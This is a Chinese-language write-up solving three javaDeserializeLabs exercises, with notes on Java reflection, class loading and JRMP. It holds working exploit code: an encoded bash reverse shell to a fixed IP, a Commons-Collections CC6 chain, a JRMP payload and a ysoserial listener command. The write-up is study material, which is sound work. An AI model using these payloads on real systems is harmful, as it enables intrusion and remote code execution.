javaDeserializeLabs https://github.com/waderwu/javaDeserializeLabs
自己练一练写exp,顺便思考一下各种细节
lab1 题解 远程内置一个恶意类,通过反射修改private字段来rce。注意package要与远程一致才可以。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package deserializelab.lab1;import java.lang.reflect.Field;import static utils.Utils.objectToHexString;public class lab1 { public static void main (String[] args) throws Exception { com.yxxx.javasec.deserialize.Calc calc = new com.yxxx.javasec.deserialize.Calc(); setFieldValue(calc, "canPopCalc" , true ); setFieldValue(calc, "cmd" , "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ5LjIzMy4xMTUuMjI2Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" ); System.out.println(objectToHexString(calc)); } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
setFieldValue 1 2 3 4 public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
这是位于ysoserialize
中Reflections
的代码,用于给private
属性的变量赋值,但是我们经常会看到在之前加一句:field.setAccessible(true);
值为 true 则指示反射的对象在使用时应该取消 Java 语言访问检查。值为 false 则指示反射的对象应该实施 Java 语言访问检查;实际上setAccessible是启用和禁用访问安全检查的开关,并不是为true就能访问为false就不能访问 ;可以达到提升反射速度的目的 。
lab2 题解 pom.xml里有cc3.2.1,反序列化入口点给了,可以直接用cc链打,考虑到jdk8,cc4567都能用,随手抄了一个cc6,这个题在反序列化对象之前需要先读一个字符串和一个int,我们用ObjectOutputStream接入byteArrayOutputStream后先writeUTF再writeINT,这样就能按照题目的要求读了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package deserializelab.lab2;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.yaml.snakeyaml.Yaml;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import java.util.Set;import static utils.Utils.bytesTohexString;public class lab2 { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"calc" })}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123 ); HashSet hashset = new HashSet(1 ); hashset.add("foo" ); Field field = Class.forName("java.util.HashSet" ).getDeclaredField("map" ); field.setAccessible(true ); HashMap hashset_map = (HashMap) field.get(hashset); Field table = Class.forName("java.util.HashMap" ).getDeclaredField("table" ); table.setAccessible(true ); Object[] array = (Object[])table.get(hashset_map); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,tiedmap); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); outputStream.writeUTF("SJTU" ); outputStream.writeInt(1896 ); outputStream.writeObject(hashset); System.out.println(bytesTohexString(byteArrayOutputStream.toByteArray())); outputStream.close(); }catch (Exception e){ e.printStackTrace(); } } }
lab3 loadClass和class.forname 算是在做这一关时候卡了很长的部分,之前我知道loadClass不能执行static部分,需要配合newInstance才行,但是forname会把这一部分都搞定,今天知道了loadClass无法load数组。
核心在于原来题目中的ObjectInputStream
的readObject
里对对象的加载方式,基本的readObject
思路为:readObject->readObject0->readOrdinaryObject->readSerialData
,依次往复,其中在readOrdinaryObject
里代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 ObjectStreamClass desc = readClassDesc(false ); desc.checkDeserialize(); Class<?> cl = desc.forClass(); if (cl == String.class || cl == Class.class || cl == ObjectStreamClass.class) { throw new InvalidClassException("invalid class descriptor" ); } Object obj; try { obj = desc.isInstantiable() ? desc.newInstance() : null ; }
而本题的readObject采用的自己的写法,基本上是继承了ObjectInputStream
,但是在resolveClass
部分进行了修改。我们先看看在原来的ObjectInputStream
里什么时候调用的resolveClass
:
1 2 3 4 5 6 7 8 9 10 11 12 readOrdinaryObject: ObjectStreamClass desc = readClassDesc(false ) readClassDesc: case TC_CLASSDESC: descriptor = readNonProxyDesc(unshared); break ; readNonProxyDesc: if ((cl = resolveClass(readDesc)) == null ) { resolveEx = new ClassNotFoundException("null class" );
所以说有些禁止反序列化就是在resolveClass
处禁止的。
原来的resolveClass
的核心代码是:
1 2 3 4 String name = desc.getName(); try { return Class.forName(name, false , latestUserDefinedLoader()); }
现在变成了
1 2 Class<?> clazz = this .classLoader.loadClass(desc.getName()); return clazz;
而loadClass
没有变,采用的就是双亲委托机制进行findClass
:https://xz.aliyun.com/t/9002
关于为什么loadClass加载不了数组class,我没有在loadClass往再上层加载器的地方细跟,只是知道一直返回的是ClassNotFound。
1 2 Class.forName("[[B" ); ClassLoader.getSystemClassLoader().loadClass("[[B" );
二者差别在此:https://blog.csdn.net/alex_xfboy/article/details/89505173,https://aisia.moe/java6api-cn/java/lang/ClassLoader.html
关于这个[
的写法搜到了相关文章:https://stackoverflow.com/questions/20738207/how-to-get-a-array-class-using-classloader-in-java
RMI的攻击——JRMP二次反序列化 当时学rmi没学懂,发现差的有亿点多。
https://www.cnblogs.com/escape-w/p/16107675.html
https://xz.aliyun.com/t/7930
https://xz.aliyun.com/t/7932
好吧,我好像打通了,但是发现java小版本在这里有很大的区别。
题解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package deserializelab.lab3;import sun.rmi.server.UnicastRef;import sun.rmi.transport.LiveRef;import sun.rmi.transport.tcp.TCPEndpoint;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Proxy;import java.rmi.registry.Registry;import java.rmi.server.ObjID;import java.rmi.server.RemoteObjectInvocationHandler;import java.util.Random;import static utils.Utils.bytesTohexString;public class lab3 { public static void main (String[] args) { String command = "*******:9999" ; String host; int port; int sep = command.indexOf(':' ); if ( sep < 0 ) { port = new Random().nextInt(65535 ); host = command; } else { host = command.substring(0 , sep); port = Integer.valueOf(command.substring(sep + 1 )); } ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(lab3.class.getClassLoader(), new Class[] { Registry.class }, obj); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); outputStream.writeUTF("SJTU" ); outputStream.writeInt(1896 ); outputStream.writeObject(proxy); System.out.println(bytesTohexString(byteArrayOutputStream.toByteArray())); outputStream.close(); }catch (Exception e){ e.printStackTrace(); } } }
在服务器上java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "touch /tmp/sbsb"
就能rce了。